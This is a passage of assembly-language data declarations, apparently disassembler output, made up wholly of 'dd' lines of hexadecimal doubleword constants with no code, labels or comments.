		dd 1EC90249h, 37E2E581h, 0CD877240h, 8CF8690h, 8CC5A045h
		dd 0BF0CDBEFh, 0E46D7083h, 0B75BE902h, 0F9C728C1h, 7E80BAA6h
		dd 0F699B652h, 0EE3080DEh, 0E92506B7h, 89A1C726h, 0D5BF74FDh
		dd 957B305h, 9158C101h,	7EB642h, 35D0F710h, 1426EEDAh
		dd 838949BBh, 41A16AEDh, 0D278CA57h, 0E9C15DC8h, 6E625BEDh
		dd 0BB70A604h, 6490C05Ah, 6DB0E260h, 0C7244925h, 0E9898BF9h
		dd 25702C63h, 165A2D07h, 0BD573AC1h, 1621FB0h, 70551F8h
		dd 82118FD6h, 0C940E908h, 0C73C5C6Ah, 5B35884h,	0FF12EF89h
		dd 5EBA6B82h, 0EE746453h, 0D701C204h, 80FE3C4h,	7E4609E9h
		dd 1BC2EB41h, 895C795Ch, 8E98338Eh, 61E90631h, 0FB494E4Ah
		dd 27BA7C35h, 664B986Ch, 0B2F97A44h, 72D80107h,	1657C739h
		dd 5E659577h, 40F1E909h, 1E5E68EEh, 8C434C7Eh, 0E3315691h
		dd 9B79900Ch, 5C950C53h, 0C058D142h, 10408409h,	0BB08B70Eh
		dd 5C29BD01h, 76BE604h,	0F4D13129h, 979583h, 4D067A72h
		dd 0F5018172h, 68A23671h, 1029EF29h, 292DD785h,	26D82E93h
		dd 305A80EFh, 6435A083h, 44822442h, 4FA072Ah, 0D78792F2h
		dd 85062E3h, 0A4CED30h,	0CDE90DD9h, 9E793A31h, 0C8B70F83h
		dd 0A236C4FDh, 58076577h, 16C9E35Fh, 0FFA56437h, 810C41B4h
		dd 0E7AE0Eh, 246B65BBh,	26276F3h, 1B381A18h, 6427CADCh
		dd 59581CFEh, 0CAF7C53h, 89ADF588h, 0D2023A28h,	0D80903FBh
		dd 57912779h, 0EB28F4B8h, 0C1C8664Ah, 0C3838B02h, 7D71C3E4h
		dd 6378E382h, 80161286h, 8684E4C3h, 0E9878401h,	2425B1D5h
		dd 9F06DE38h, 0C3A5368h, 4C397B0Bh, 69A57913h, 6595B146h
		dd 55C1779h, 0A26994FEh, 52984E69h, 9159A6Ch, 7985685Bh
		dd 0C0BEA17Ch, 0F0D97D88h, 90789AA2h, 0D0B15C32h, 0CA25ACAh
		dd 0EAD91863h, 0AF498390h, 0DDBC5E6Dh, 9263231Eh, 5B380D3h
		dd 263D7A1Fh, 70EF1520h, 2CD813A6h, 0D12C0ACh, 114F8911h
		dd 21C72D26h, 0A79F6001h, 2237DF9h, 8A6E21E5h, 88D36012h
		dd 4B550BC7h, 396324E9h, 895A5E98h, 5F0AF24Ch, 0B516882Fh
		dd 7BBFCC0Bh, 3C12371Eh, 959CA0Fh, 0F9E00518h, 565A5281h
		dd 0B2107D61h, 171727B8h, 3229AA3Bh, 115D01C6h,	340683F3h
		dd 48736D20h, 2E789742h, 0ACED3B78h, 810617ADh,	6B44318Bh
		dd 2A222644h, 68EA30BEh, 55AB50A5h, 0BB292E7h, 7FB71083h
		dd 2A4C27h, 776851BDh, 5270B662h, 69960550h, 61E44A5Bh
		dd 9D71FE3Ch, 84D3E81Bh, 0F605CCADh, 82B82FC0h,	0CBC91FC3h
		dd 0D4C42193h, 0DF173BEEh, 0A912DA01h, 0D4D35BE3h, 0F1E3C52Ah
		dd 5C297E7Eh, 612CD2F9h, 96BE1050h, 0A19A252Bh,	6825FC50h
		dd 0BDDFE6BAh, 0F6C6E4AFh, 0EA0B5DC6h, 5A4C119h, 87B2D6ECh
		dd 75746882h, 5712F159h, 0A607CB01h, 0EB385F64h, 6212EF03h
		dd 117B05ECh, 47602A0Bh, 0FC67057Bh, 0DEE0088Dh, 4BD39CF6h
		dd 0BBBEA524h, 0DA583309h, 8F80A96h, 19D7F16h, 4A892DEFh
		dd 6151C603h, 0D0422212h, 435FECBBh, 0C8E0D182h, 142FED3Dh
		dd 14B52716h, 0A1594AEEh, 126833F0h, 0FD4E3325h, 8AD34AEAh
		dd 69205958h, 937066D8h, 5305D727h, 1221A42Bh, 0FEA16314h
		dd 4F213F16h, 9F25C4E5h, 80D65530h, 805B405h, 0C22930D5h
		dd 1895BE2h, 0F199C784h, 20677EDCh, 86E30D74h, 51C2CA5Bh
		dd 0E05F60FCh, 25F6360Eh, 80ACB2D1h, 0DBFC2D02h, 660BEC6h
		dd 0C7267899h, 0EA94C556h, 0E3583108h, 0F6257BE9h, 0A6D0B463h
		dd 54AEEBC5h, 382FCBC9h, 0D9A6FC2Fh, 5B4E1AB0h,	41A46BA2h
		dd 995D92A0h, 0E2D3207Ch, 8C4EC504h, 7DED9AE9h,	794AD950h
		dd 687C0075h, 0CB11A28h, 50BA60E9h, 9278585Dh, 1CC93F05h
		dd 86C410ECh, 9AAC12EFh, 3A2429A5h, 0DD297530h,	42E2BC5Bh
		dd 9457D1BEh, 4794B50h,	0BEEB3117h, 5509072Ch, 0C3004655h
		dd 5047778Ah, 0C00CC14Eh, 0FA2911DEh, 0A49E6E9h, 154912CEh
		dd 4301C7A3h, 0E93FC237h, 9655F6F7h, 0F3524E83h, 6E301227h
		dd 31C4A7FCh, 2DEB402Eh, 4E2012CCh, 4B0BD901h, 76E9162Ch
		dd 0C3618F47h, 283A2C4Dh
		dd 544E53CDh, 0C3C02634h, 0BA93FF3h, 2EDC14Eh, 4FF8CE80h
		dd 0FD9013AAh, 0D76AD902h, 7C64E947h, 406A2589h, 58874490h
		dd 4C885980h, 0A7140C18h, 0B6A7E2D5h, 545C41D4h, 8DBF02A7h
		dd 0DC6B9710h, 0AF78092h, 0E9799465h, 5A6E5949h, 8D355940h
		dd 2601EB48h, 58215FFDh, 0AF4E0F66h, 69716E88h,	725E82ADh
		dd 0BC12165h, 0EE064906h, 0C4AE095h, 556A0727h,	1357F281h
		dd 0EAFB652Dh, 141C4AFBh, 35D602Fh, 5D73ABDh, 0D501C976h
		dd 50C5FC80h, 39E3093Fh, 137814E9h, 0CBAB4350h,	0B637100h
		dd 6AC1CD81h, 31FDB8F2h, 0E87F4786h, 0B7043A18h, 11B82282h
		dd 1F52F7CFh, 0DC3516D6h, 0AD420560h, 2D2EAD42h, 61140914h
		dd 5F770F70h, 51E01494h, 3E2BA8B9h, 0C90205ACh,	41ED68EAh
		dd 29C306C1h, 32F0063Dh, 760C3884h, 3F7C2FC6h, 2EDBA6C2h
		dd 0F9696B09h, 70738848h, 244C010Bh, 25F95BE3h,	0C54B0691h
		dd 0A0C9F8DFh, 9EAC97E9h, 1913B124h, 5F192443h,	0EF4B3195h
		dd 0A05A65DAh, 4B162D25h, 0D24FF6EEh, 58744C92h, 1CF73230h
		dd 3D895A13h, 0D92732CBh, 6810C009h, 8C4E4E3Eh,	7C02BB01h
		dd 0C12A5F7Bh, 0CB5F40E3h, 9E2E07B9h, 69C7E923h, 0ECCC77A9h
		dd 18CB3E30h, 0E4D48850h, 2FA7B8E7h, 732CF78Dh,	27257730h
		dd 786BE0A3h, 2AC20911h, 94A5DCE9h, 0C02E8464h,	2D0B6896h
		dd 0F788F499h, 0ECBA01ABh, 2C706701h, 0C09A16C1h, 4003495h
		dd 5D161E14h, 66E10081h, 0E9310B19h, 0EDC5E313h, 0ABB32A6Fh
		dd 914EFE47h, 0BCD6F746h, 0F24AA504h, 30B98D6h,	723A8373h
		dd 7F2CD29h, 94BF4AD0h,	29938197h, 56200F25h, 6B49160Ah
		dd 0C027A220h, 9648A3BAh, 1C29061h, 35BC63EBh, 3623CBE9h
		dd 68971A9Dh, 958371BBh, 60175F05h, 0ACE820FEh,	7609FB35h
		dd 0AFD1DDF7h, 800200D1h, 3CEF0127h, 0A54D895Dh, 5ECC5F2Dh
		dd 0E9525609h, 0B81C20B6h, 7A712277h, 96A4F29h,	0E4D35F6Fh
		dd 42BF5E34h, 429E6863h, 80FD6DC6h, 31863AEh, 5511E91Bh
		dd 5A40D9D0h, 2D6FC468h, 0FC697648h, 59E874ACh,	536E91B7h
		dd 48A942h, 294BD0B8h, 14324Ch,	27F24A47h, 16F6EE81h, 0B00FDA62h
		dd 853DC6CBh, 50E5A59Bh, 91E9256Ch, 895CFE04h, 21D1EEh
		dd 0A5EF8858h, 0CDE984CFh, 4DF1E4EDh, 7CE62F0Fh, 81814FD1h
		dd 0CCA1FECh, 7A660C82h, 31C07577h, 0D257D50h, 204B7843h
		dd 0AEC117CAh, 55C558B0h, 47D39E84h, 0E697C1A6h, 7BC08503h
		dd 0C1B4C9A7h, 8906BF29h, 0D017C5Bh, 0E9463C34h, 0C3763B42h
		dd 0D09E554Ch, 0B8E643Ch, 0E32898C2h, 217A60Bh,	663AD3C7h
		dd 54EC5B57h, 0E9512480h, 0CEE18A2Ah, 792D1451h, 42E64049h
		dd 693B4812h, 0C2CA6AF2h, 0D089020Fh, 0EDD43AE9h, 0C4143585h
		dd 0D97E5DC1h, 944A6602h, 20DF482h, 0BDF1600Dh,	9BE980DFh
		dd 0E48FB667h, 934EC055h, 1F125C54h, 9F00D3F7h,	6C3B6712h
		dd 4AE9F029h, 50F509DBh, 2B5439F6h, 3CA53C88h, 13027798h
		dd 9EC5F9F7h, 548A5401h, 49A9B110h, 40F94C4Eh, 53B76D1h
		dd 2FE9935Bh, 48E38C84h, 97FBEA7Bh, 8EA8C1EEh, 71186BCDh
		dd 500E0149h, 2909A1B8h, 0E9134C38h, 82B8A1D0h,	0D61EF4F2h
		dd 97745E5Bh, 0B43907E8h, 85D06B3Ah, 0ACE4400Fh, 5FF8C056h
		dd 58CFE95Dh, 0C08703D1h, 0ED509402h, 15C31446h, 990FB7E9h
		dd 0A33C1A1Ch, 0A4A26627h, 0B959A931h, 64673A89h, 0B7B4F04Fh
		dd 0E151F706h, 0F3263A75h, 0ED14A249h, 0C8B5E07h, 0E05DEB16h
		dd 0AA995346h, 2E67643Ah, 642FB0E1h, 0F9AD86h, 7E6F41DBh
		dd 0B7420BE9h, 4F71C721h, 30F0E66Ch, 70B7230Bh,	69B24989h
		dd 4547D338h, 4AFF8A4Ah, 0A55AE18Ah, 2F1B30B4h,	27AAE683h
		dd 0F1D35Ch, 774CA810h,	0F140A05h, 6DD0002Bh, 29FA511Fh
		dd 0C3E9FB17h, 87242A92h, 13D88AB0h, 5246715Dh,	8EE63C25h
		dd 8B194E23h, 0B5FDD8D7h, 3F22C540h, 78F74880h,	9CBC79D8h
		dd 6DB46D1Dh, 7D889384h, 32289E0Eh, 0B4DCD648h,	9A77F253h
		dd 9987F0BDh, 0A77C97C7h, 25915F54h, 7E3C5451h,	0B3609ADh
		dd 0D5D950B8h, 5F271F5Bh, 52CC6782h, 1E620F85h,	247F4322h
		dd 0D2688515h, 0E0458D24h, 0F728B354h, 2620207Fh, 66609DB4h
		dd 434C4BEBh, 58BF1684h, 7F5ACDD0h, 851E4E01h, 0E3240326h
		dd 2810472Ah, 0BE054DECh, 91B4425h, 10625AD3h, 28625DD1h
		dd 2CAEC1D0h, 4CB8F955h, 1997CD4Eh, 5AD6F88Dh, 0F24D03B5h
		dd 515703A9h, 0EB308AB5h, 0DE2859B0h, 3521149Eh, 0A6B05080h
		dd 18C6B753h, 6FFC780h,	0CF78FE83h, 0E922EF09h,	0D22FF06Dh
		dd 82BCE381h, 71615968h, 6369A493h, 6D7607EFh, 0C60E6225h
		dd 0D837204Dh, 0DB5F5569h, 685280F5h, 38F16BACh, 0CE045A5Ah
		dd 2D001729h, 7CF26713h, 26B05F7Ah, 3B440820h, 0E3A5C301h
		dd 1AD711C2h, 3155FA78h, 0EEB93BC3h, 44A9921Ah,	0E8C14D80h
		dd 0C8311208h, 0A42CA850h, 8B0A1CEAh, 0AA05E87h, 0F028AE2Ch
		dd 44CCD2F7h, 0EC3C6825h, 454AA1h, 3D80B905h, 0C126224Bh
		dd 0BA39F0E1h, 2CE51DBCh, 0AF7C981h, 78AD5A21h,	0E9E0CACBh
		dd 41307920h, 6E2C181Eh, 19F0FA0h, 0B3C459CDh, 5C4FBE10h
		dd 0C45505FEh, 61C049C9h, 891126AFh, 0BDD9259Dh, 161698A4h
		dd 4B7852F2h, 33E78395h, 4059B52Dh, 1EDBF709h, 5FE2CB81h
		dd 60F0FECEh, 0E5BF1A4Fh, 401F6071h, 513FA21h, 4F76BCA9h
		dd 0BD4480A0h, 0C827684Ah, 0A0CBD85Dh, 1A5B0390h, 9629301Ah
		dd 0F39CDF6h, 6278236Bh, 0D7428CE9h, 88ECC39Ah,	8319E927h
		dd 0E25A662Dh, 0AFB9C11Fh, 0C75C9804h, 35B2BAF8h, 5A4C9EF6h
		dd 94242D9Dh, 9AEA9EBCh, 0A720C455h, 0C16EF5BBh, 169B2250h
		dd 0BA947F13h, 4C31D7E0h, 125F02C2h, 90EAB99Ah,	0F6499756h
		dd 24FAD047h, 0CFDF2Ch,	0C0DDF667h, 807302EDh, 4F4107Dh
		dd 0E828E21Dh, 20F176BAh, 16F6F8DEh, 5C98F4C9h,	0C9A024F9h
		dd 827B04Ch, 0A7CCFB34h, 0DE02CE78h, 0E9FF57BAh, 7F3DE41Bh
		dd 981F7CC2h, 0A7682788h, 0C8F0FAE4h, 218C8796h, 49755F18h
		dd 0F60347DEh, 118B5F9Bh, 88AB9DD9h, 8A33F32Bh,	427F0595h
		dd 0BE00C74Fh, 905E6502h, 2D599054h, 0FD5907F5h, 8A135649h
		dd 45564F1h, 0C12B6215h, 3BC85923h, 7368E8Ch, 1A62331h
		dd 0FE7BF2EFh, 0F4E4E5Ch, 0CC0644F0h, 5EAD38BBh, 0EDD5449Fh
		dd 738BA8A5h, 4D9C009h,	0C13668C9h, 0C569CAA4h,	4B4109ABh
		dd 2DBBDA53h, 0A5AB53EFh, 0E9854DD3h, 41BC42CCh, 0E2F166CBh
		dd 49678E1Ah, 6B6858ACh, 0A165ECD3h, 0D654ACE9h, 0B4180EEAh
		dd 8A030F9Bh, 363711DCh, 0A50E0047h, 1694951h, 2A4AE9F9h
		dd 7929AD84h, 685600D2h, 9D9167F9h, 2DF75469h, 51429673h
		dd 312911B9h, 0BECA3F58h, 57E35C30h, 4DE0F8BFh,	701304Fh
		dd 0F05D70E7h, 2E51B31h, 89D8B0D9h, 475F5CF9h, 6C79DC27h
		dd 0D1315C03h, 59CF985Ah, 60DAB957h, 3A5F35Fh, 0E9386209h
		dd 300DAAFCh, 0B2251B03h, 0EC0C3B1Fh, 15F8807h,	1AEAE5F2h
		dd 14090C08h, 0B8CE6D88h, 0F536D02Fh, 525C10EDh, 7DB30453h
		dd 855BDE88h, 491A5D9Dh, 0D892A39Ah, 511A94C0h,	0CE9448C1h
		dd 3020AEE5h, 2C5C8052h, 19187EC4h, 73C2C0D0h, 2529883h
		dd 0C3545F7h, 0F4DE8938h, 29B9C600h, 35E92116h,	0BC65C80Fh
		dd 0C744972Fh, 0B589188Dh, 0EE6BF369h, 9D96FF4Ah, 0A340E912h
		dd 7F82C437h, 643A77BCh, 0E6072FDFh, 6630311h, 0C6587EF6h
		dd 430C2A69h
		dd 181B4072h, 0F76190B9h, 9693862Eh, 0C6E14E41h, 221F9482h
		dd 16DC553Ch, 17B22B08h, 0F866F084h, 0CC3A244h,	1E882CD4h
		dd 5A12F30Ch, 43F12D72h, 0D64BD05Fh, 5CA00CC4h,	0EF327699h
		dd 0BC5DE78h, 0EA207C50h, 435B4866h, 19F9D12Dh,	3316A6A4h
		dd 0C2B489ECh, 3D90223h, 28D3E9E1h, 58E31F8Ch, 78B13E58h
		dd 741B1609h, 6402642Ah, 0C80591A6h, 0C9276859h, 0E402F640h
		dd 0EE345ACFh, 0A71C3DFAh, 0D1EA2197h, 0D1192B8Eh, 2E3EFD54h
		dd 67ECD016h, 332201F2h, 29702B39h, 6AC23655h, 9DEDCAC0h
		dd 30EC173Eh, 0BB598558h, 6DE9F620h, 6F8294C0h,	0F0B597DEh
		dd 39915413h, 0C216F469h, 600E507Bh, 0A02C61B0h, 0C0C35828h
		dd 6EA9ECB5h, 80BABC1Ch, 50EEB652h, 34E9ACB4h, 0EBD12CBBh
		dd 41B7F752h, 0ACBBB416h, 0D80AD2D3h, 0C069AC2Ah, 2D1E4838h
		dd 0E2D23F1Ch, 9033AF20h, 31720568h, 81B976FBh,	30DE51B1h
		dd 0C14A5FBAh, 0E650260Ah, 0D0B0C8A5h, 79058144h, 0AA8C4A6Bh
		dd 5236B950h, 0B85162ABh, 1A16B88h, 0D761C5BFh,	8516307Fh
		dd 5F4E4778h, 194BA3F0h, 0C532027h, 0B2EF450h, 0A4091590h
		dd 90392367h, 69BAEE29h, 4AE30420h, 8428E25Ch, 52162E04h
		dd 69A1913Dh, 5E0500CBh, 22C92553h, 57415A64h, 50B47742h
		dd 0E6D13778h, 0AC32A55Dh, 81430157h, 702326E3h, 80F3B3C7h
		dd 9D859D93h, 0E074F804h, 921EBB61h, 163DCB51h,	87E30A66h
		dd 0A8442C2Fh, 0E7023A9Ch, 4001DA0Fh, 2564056Dh, 0C5E82B65h
		dd 4BBC3AE9h, 954E1625h, 682521CCh, 0D7C5C2E0h,	0F24CAF94h
		dd 0BE4D2465h, 2D0C81BEh, 0F789765Ah, 0BCB5DEF0h, 7BCE8294h
		dd 9761B002h, 50AA7456h, 3CC85348h, 2EA0D9A7h, 52109BCAh
		dd 8D10575Ch, 435E251Bh, 0B850F060h, 0D5340360h, 0AA5BA74h
		dd 0C201F7D8h, 4A34EC95h, 549882E2h, 0D32196DFh, 5E3D0A2Dh
		dd 0DD9A4308h, 8FB1361Fh, 0EEC7C3C9h, 84681602h, 26C8B36Ah
		dd 5DAC0C51h, 13C680C0h, 289E2E2Ch, 0FAA03AD3h,	35A0EDEBh
		dd 33633123h, 0E5919228h, 0C93F0865h, 685F8556h, 91EC17B8h
		dd 0A2CE29C4h, 20D8500Ah, 9B83C999h, 2038D30Eh,	1241DEAh
		dd 274451DDh, 0A64F84E8h, 2CEE7142h, 0E877FB70h, 80FDDBE9h
		dd 0E0E94EEEh, 43967FD4h, 902F4C5Ch, 0CBBD4C8Ah, 6BA330E4h
		dd 0B3EEB756h, 55BA34F6h, 0EB835E12h, 0A492C3BDh, 3BE5F5BBh
		dd 16A55A8Dh, 54D86A71h, 0B9F3B85Dh, 11F5928Eh,	81019F52h
		dd 736613C1h, 0ED1F2F63h, 0E8B06089h, 252198AEh, 98421F51h
		dd 63651E40h, 0A43F2D3Ch, 0BC0955CFh, 97124437h, 76C01C1Ah
		dd 71F277B7h, 0AE6AE925h, 2709C234h, 0C269E2B3h, 0E656D0EAh
		dd 0E100BDE8h, 81622B3Ah, 410BF571h, 0D8452AECh, 4F350441h
		dd 0F16EE911h, 809A2904h, 506445EBh, 0F6859720h, 93081FC3h
		dd 22682503h, 47F84402h, 4E8F5F2Dh, 7C30F3D7h, 0CC9E4BBAh
		dd 682753FAh, 0C2AE0918h, 5DA41A23h, 0F5DF5031h, 1A137ABDh
		dd 86179F8Ah, 0FDDA27A1h, 0C1843127h, 29BF0520h, 96AB00B3h
		dd 42121833h, 2CE0EFC1h, 860C05E1h, 65FE2910h, 97A82485h
		dd 82CE355Ch, 4790DEEAh, 0E52456C9h, 2E00000Eh,	0E905B2F5h
		dd 2D8BB4F2h, 0E56FF159h, 9956E3B6h, 0E4120512h, 351CC654h
		dd 73074A06h, 71E54F25h, 0C683B191h, 0A7D44956h, 91E9059Fh
		dd 0B74AE414h, 949DD8E0h, 0A9E91B65h, 0ABEDC7E7h, 0D2A83464h
		dd 0A54DA893h, 0F4CBCB22h, 1BD127CBh, 0DDCF0249h, 3DD7FA07h
		dd 7D3B3E26h, 0D6B7504Eh, 29156017h, 0FB853A5Ah, 4E3BF688h
		dd 0B2187756h, 0D5C8C257h, 54C3947h, 6C8F18A6h,	0C64E791Fh
		dd 289D820Bh, 5B1A16BDh, 5A8009CDh, 0DF4913BAh,	0C13B8765h
		dd 0AA8407EEh, 21CF28EFh, 84DEEB58h, 680DF4CCh,	3028C11Dh
		dd 919C8A17h, 0E1E58040h, 0D2AEB866h, 301B04A2h, 5E5303F7h
		dd 5561C15Bh, 4F302B35h, 0A1560FC2h, 0CFA4480Bh, 49ADD6h
		dd 0BD75C709h, 945DE801h, 0A1C313B6h, 0A4242CAEh, 91D780B8h
		dd 93D24034h, 16BD5C2Eh, 5867548Ch, 815235BCh, 6C713A9Ah
		dd 8FC880C6h, 0B0728874h, 0CD2A4E4Ah, 0F7EFE431h, 96E82CB6h
		dd 850BE5A7h, 8D197568h, 7C052146h, 2686D099h, 2000683Ah
		dd 6958AC05h, 2E35001Eh, 0E963CC70h, 189D0F9Fh,	19A0EFC9h
		dd 0D47E8632h, 4E929B5h, 4E946B40h, 82C429C6h, 0F7C54008h
		dd 716CC2EBh, 4D4A2868h, 27D3C90Fh, 3641E1BEh, 3AA52137h
		dd 802C3F9Ch, 89CA6056h, 6B0984C0h, 2C817949h, 3D0A0952h
		dd 68BF4A9Eh, 823AA596h, 562D0B77h, 7A10C2Ah, 5407C287h
		dd 5749527Ah, 4EF5D0C3h, 826C87DCh, 50D1EDA3h, 0A337962Eh
		dd 17BA92E4h, 963BED67h, 5620A8F8h, 0A18AD58h, 9D3779F5h
		dd 9936340Bh, 4E453D8h,	62FC943Dh, 400BB693h, 80E8BB6Bh
		dd 1CD25658h, 0F12997C0h, 0C8312D5Eh, 0CF48F1h,	9B2708EAh
		dd 0F5E0C113h, 7F76DF02h, 0B8037ECAh, 56FF41AAh, 0E0D68C25h
		dd 0F7D1F79Fh, 0CCE8C66Ah, 12744E9Fh, 8E033668h, 0D9B24B3Ch
		dd 62AFB3D6h, 0E86DE90Dh, 59E1C1BBh, 3404F205h,	0C7890CBBh
		dd 0DD609E58h, 68551152h, 5B73DB2Ah, 1822C9A0h,	0F267A2Ch
		dd 1995209Ch, 0FE60626h, 0F2CB5811h, 6F1B16F1h,	0C8E80923h
		dd 85A00746h, 0B72F6342h, 1665F057h, 0CB31E7E9h, 0B3E25E78h
		dd 43B1597Dh, 0B029E893h, 2447C4BBh, 105B6C19h,	50125827h
		dd 754896B6h, 7C3C0280h, 0E1523B61h, 417ACF53h,	0E00EFC05h
		dd 6E67ED2Dh, 0F0FDC992h, 69D2F4A5h, 5EFC15FBh,	2D6779BDh
		dd 51878879h, 0E2903A95h, 9555575Fh, 22AD0945h,	20E39893h
		dd 1D387172h, 0F7DE870Dh, 0B70708DBh, 1B965BB1h, 49E9D9E8h
		dd 4D4C52D1h, 50B15187h, 0FE8DB753h, 0FCE9C715h, 0B7312B90h
		dd 5E2D7A6h, 0ED1B445Dh, 5E08D32Eh, 0FC2394EFh,	0B80B9E2Fh
		dd 69D9D9FBh, 0E92F48D0h, 545109F3h, 0ED454B6Bh, 5CAF6AA5h
		dd 4AE96221h, 2C056B58h, 0E3686677h, 5006BC04h,	165C5CA4h
		dd 0EC4CC198h, 64028834h, 4BAC8B59h, 3AAC9665h,	5C68E909h
		dd 0DAEE6964h, 1CD674Ah, 957BF8EAh, 5D92A3C5h, 74592900h
		dd 904B40D9h, 33F50C90h, 0F9A441BEh, 1DFF773Bh,	0C4ADD9E9h
		dd 41F88AD1h, 133EC36Dh, 1043F24Fh, 0B65E999Bh,	402085C2h
		dd 845B27EFh, 0DE13EF58h, 2B8411BDh, 545700C3h,	9BA525Fh
		dd 738B3450h, 13974580h, 0CC2694Bh, 60142160h, 1F3CF245h
		dd 1F707737h, 0DB4804CAh, 77FCF87Bh, 0FFDFC813h, 0CF5BE0ACh
		dd 0E6E912DAh, 22BB4781h, 3E07C9C4h, 5A30DF31h,	0EB875BB7h
		dd 476FFDE4h, 0D224A906h, 80C61F39h, 0A8F293F1h, 8FA24AC3h
		dd 685B5405h, 5E0EA89Dh, 9D01ADDCh, 0F324DA9h, 938E4555h
		dd 66DE449Fh, 0E289F421h, 9289840h, 87C680CEh, 0E024EF7Ah
		dd 0B760EAF3h, 27B450EBh, 56C33054h, 0B87021DEh, 53923E91h
		dd 0A463F509h, 62BF58D2h, 6441D50Dh, 0D6DC6A31h, 0EFF544D6h
		dd 0C422CC0Bh, 3B4C5606h, 0E92EDD84h, 0FB7F95E3h, 0E25C5133h
		dd 81605E69h, 1C434FF3h, 0DA3F2066h, 7A277618h,	6303700Ch
		dd 49C352BFh, 2177F40Eh, 0D817A9DDh, 24BCBEDBh,	89C11A3Ch
		dd 540F7E70h, 0EB034A70h, 68AEFC44h, 4CE9040Ch,	3A92C8C5h
		dd 7BAA7D39h, 76BE5C20h, 0AD4495Ah, 0DE1B3325h,	0A1D430DAh
		dd 26179A68h, 9FA198E8h, 0F5178111h, 2A150A96h,	257C177Eh
		dd 6D161EDFh, 0EB319183h, 0EC20DC96h, 0B23C93A4h, 103557Ah
		dd 1660E0D0h, 454A4E28h
		dd 40ABE9EBh, 9EB5BAD8h, 133DFE7h, 58611AD6h, 5D506B8Dh
		dd 7F59810Bh, 0FEC2DD37h, 32D6DA1Ah, 4584A5AAh,	55A235E1h
		dd 994E50B6h, 0EB112104h, 89A1BC44h, 16745A5Bh,	0A3748368h
		dd 6F882E2Eh, 0E065597h, 9D50843h, 99ED80C5h, 2805EAE6h
		dd 0DA1FE9E8h, 0C97D4BEBh, 0F501F5C0h, 0DDD75E5Bh, 5A0928C4h
		dd 0EFB55D00h, 54F8EB88h, 7A35EC5Ah, 0ABD98A1Fh, 4430686Ah
		dd 2CAC800Ah, 0C70EF72h, 9FB0D87Dh, 7BDFB489h, 6AB91C4Bh
		dd 925356FFh, 2C26C3F1h, 34D0F6A0h, 0C5880505h,	0DE092858h
		dd 0B39578E2h, 15B02251h, 8B2B1368h, 0BB14EC84h, 2D68D028h
		dd 0AC66BD9h, 8AC41948h, 3737DFF7h, 96E1C3h, 944FB98Ch
		dd 0CA29C70Eh, 4ED75948h, 9F126CF2h, 0E9DF987Ch, 4F88255Bh
		dd 5E4C1638h, 0B3B8AC1Ah, 896331B0h, 760B09C3h,	1B7100F9h
		dd 0D0F73A16h, 8ABE0456h, 0AFC5E9E4h, 714C714h,	12FF22D3h
		dd 9AE2AB2h, 263138A0h,	87F87980h, 0B7A3BC4Bh, 86355C14h
		dd 54170318h, 0CA4C1AE2h, 12E600E7h, 872CA53Dh,	0C7C8B8CEh
		dd 0F9D5E908h, 49ADBDD6h, 91CC9974h, 4408901Dh,	27EC4BDh
		dd 507DB21Fh, 7CE1B712h, 34CC392Fh, 225DE9C7h, 6EE34A3Fh
		dd 0BE0C87C4h, 0E5225C31h, 529707Ah, 3505231Ah,	2DF8014Ah
		dd 70410713h, 77D92CDBh, 2EB15E60h, 953C02Eh, 46540C1Ch
		dd 6429E0EBh, 5E929FF8h, 68E141F6h, 9A7C7B98h, 0BEAD8C4h
		dd 0DEF88354h, 14292457h, 0F37BA50Ch, 0FC432432h, 0BD94278Ah
		dd 2A40B5FCh, 0E7F33880h, 2470AA5Ch, 0EC259EBh,	65D72855h
		dd 0A929FBD3h, 0E9C25178h, 0C676A42Fh, 70526793h, 0B2951204h
		dd 0C0B0CFD1h, 4B6F4D60h, 36CE3D30h, 0B4F9622Dh, 543C62C4h
		dd 65DB2718h, 0FCA0DF92h, 2CE701BEh, 0C1684D27h, 3C282F2Fh
		dd 262927E9h, 3E412FBAh, 3817A61Fh, 0CA0F4B8Eh,	781E0879h
		dd 0E9107B41h, 0DD7F467Fh, 210F30FDh, 150530Fh,	8A81CC1h
		dd 0D6ACC3A5h, 11D0215h, 578E010Eh, 9EA2D929h, 1268E69Ah
		dd 5E021BBh, 0EB19FF5Bh, 4B58012Dh, 3CFA5D01h, 5C8BF443h
		dd 3E568B61h, 6627D3CEh, 0FD0912F1h, 80251A19h,	8B2D036Ah
		dd 0D2DCA00Dh, 831AB6DAh, 6B262534h, 2D06C3Eh, 0E95794D9h
		dd 0AA07A16h, 5A2AA0E6h, 0E2EE0782h, 0F3F29C08h, 0D262C6A0h
		dd 0E119AF9Fh, 2C9C0BD7h, 97505921h, 246B64BFh,	252D15B6h
		dd 0E5318784h, 326E824h, 61E7C180h, 0BB78AB04h,	2D83FB75h
		dd 3DEEFF7Eh, 3BF3952h,	7A894631h, 3FF0E155h, 0A0DAC534h
		dd 2D7C86ADh, 52426C52h, 794B4F59h, 0C8BE096Dh,	6B40DF42h
		dd 2001649Ch, 0B8CE812Fh, 4E607022h, 4BDC5FB7h,	56FBEDA6h
		dd 54329589h, 0A27EE933h, 141EDF5Ah, 0CCBE9BB0h, 7AECAD1Fh
		dd 6606273Ah, 4F1B27F0h, 0D45E3CA5h, 7BC1F34Ch,	79C5014Ah
		dd 0E982CBB7h, 227D520Bh, 444145D5h, 94BDFA39h,	685E0208h
		dd 0EFC3C6Fh, 5455D562h, 32250273h, 73D07CC9h, 735D0781h
		dd 0A8022577h, 850CD871h, 13F78737h, 1EFFDFBh, 0EC6EAFBCh
		dd 83E9017Ah, 0FAB0912Bh, 0E4A42A5Fh, 0D7C35AD6h, 92451F39h
		dd 0BDB1000Eh, 0E9023261h, 0C0131E5Eh, 475B8DE2h, 26D531AFh
		dd 9A208EAh, 0B4060809h, 0C7059146h, 0CF34123h,	304A4DA3h
		dd 68F9F73Fh, 0D4275B2Ch, 2FD9E66Bh, 0FF9AE6E9h, 7FF2E380h
		dd 60C136FCh, 251977ACh, 0FEEFD8h, 0F74D481Eh, 0C13CE9DFh
		dd 0A3D3E997h, 32FFBC54h, 63525C82h, 35565360h,	7131D464h
		dd 0C292924Fh, 0B35E4760h, 452CBA86h, 26909683h, 42580CE0h
		dd 1DB02F4h, 54296475h,	6B81C9D1h, 0F76B27F3h, 7619F2B0h
		dd 240E93Eh, 1E15A6E2h,	62B78078h, 0FC97FDEEh, 9200BD61h
		dd 72E56866h, 0BD5AC1F2h, 41BCEAD6h, 31296033h,	0A0B5791h
		dd 0BA9A9830h, 292B053Fh, 80D2F70Dh, 5A78F939h,	0E2C1530Ch
